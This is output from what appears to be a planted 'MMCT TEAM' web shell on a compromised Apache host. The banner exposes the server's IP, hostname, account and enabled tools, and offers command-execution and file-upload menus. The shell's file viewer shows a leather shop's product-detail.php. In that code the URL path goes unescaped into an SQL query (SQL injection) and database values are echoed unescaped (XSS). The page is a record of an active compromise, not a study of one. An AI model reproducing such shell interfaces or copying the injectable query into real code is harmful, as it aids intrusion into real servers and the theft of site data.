MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 3.133.109.58
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/ppcad7no/leatheroncall.in/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/leatheroncall.in/product-detail.php
<?php
    include_once('admin/config.php');
    $slug_name = $_GET['slug_link'];
    if(isset($_SERVER['PATH_INFO'])){
    $slug_name=$_SERVER['PATH_INFO'];
    $querydt="SELECT * FROM `tbl_product` WHERE slug_link='$slug_name'";
    $rundt = mysqli_query($db,$querydt) or die("Query Not run");
    $datadt = mysqli_fetch_assoc($rundt);
 }
?>
<!doctype html>
<html class="no-js" lang="zxx">
<head>
        <title><?php
if (isset($datadt["meta_title"]) && !empty($datadt["meta_title"])) {
    echo $datadt["meta_title"];
} else {
    echo $datadt["product_name"];
}
?></title>
        <meta name="description" content="<?php echo $datadt["meta_desc"];?>">
        <?php include 'top-link.php';?>
    </head>
    <body>
    <div class="body-wrapper">
    <?php include 'header.php';?>
          <!-- Begin Page Banner Area -->
            <div class="page-banner">
                <div class="container">
                    <div class="page-banner-content">
                        <ul>
                            <li><a href="<?php echo $wspath?>">Home</a></li>
                            <li><a><?php echo $datadt["product_name"];?></a></li>
                        </ul>
                    </div>
                </div>
            </div>
    <!-- Page Banner Area End Here -->
     <!-- Begin Product Details Area -->
            <div class="product-details pt-100">
                <div class="container">
                    <div class="row">
                        <!-- Begin Modal Image Area -->
                        <div class="col-lg-5 col-md-5">
                            <!-- Begin Product Details Left Area -->
                            <div class="product-details-right">
                                <!-- Begin Modal Tab Content Area -->
                                <div class="tab-content product-details-tab product-details-large" id="myTabContent">
                                  <div class="tab-pane fade show active" id="single-slide1" role="tabpanel" aria-labelledby="single-slide-tab-1">
                                      <!--Single Product Image Start-->
                                      <div class="single-product-img img-full">
                                        <img src="<?php echo $wspath?>admin/images/<?php echo $datadt["img1"];?>" alt="<?php echo $datadt["product_name"];?>">
                                        <a class="popup-img venobox vbox-item" href="<?php echo $wspath?>admin/images/<?php echo $datadt["img1"];?>" data-gall="myGallery"><i class="fa fa-expand"></i></a>
                                      </div>
                                      <!--Single Product Image End-->
                                  </div>
                                </div>
                            </div>
                            <!-- Product Details Left Area End Here -->
                        </div>
                        <!-- Modal Image Area End Here -->
                        <!-- Begin Product Details Right -->
                        <div class="col-lg-7 col-md-7">
                            <div style="padding-top: 158px;" class="product-details-right">
                                <!-- Begin Product Content Area -->
                                <div class="product-details-contents">
                                    <!-- Begin Product Name Area -->
                                    <h5 class="product-details-name">
                                        <a style="margin-bottom: 55px;" title="Ornare sed consequat"><?php echo $datadt["product_name"];?></a>
                                    </h5>
                                    
                                    <p style="margin-bottom: 55px;" class="short-desc"><?php echo $datadt['product_detail'];?></p>
                                   
                                </div>
                                <div>
                                    <a style="background: #dc380a;padding: 12px;color: white;margin: 15px 20px;font-size: 15px;border-radius: 6px;" href="<?php echo $wspath?>contact.html">Enquiry Now</a>
                                </div>
                                <!-- Product Content Area End Here -->
                            </div>
                        </div>
                        <!-- Product Details Right End Here -->
                    </div>
                </div>
            </div>
            <!-- Product Details Area End Here -->
       <?php include 'featured-products.php';?>        
    <?php include 'footer.php';?>
</div>

    </body>
</html>

MMCT - 2023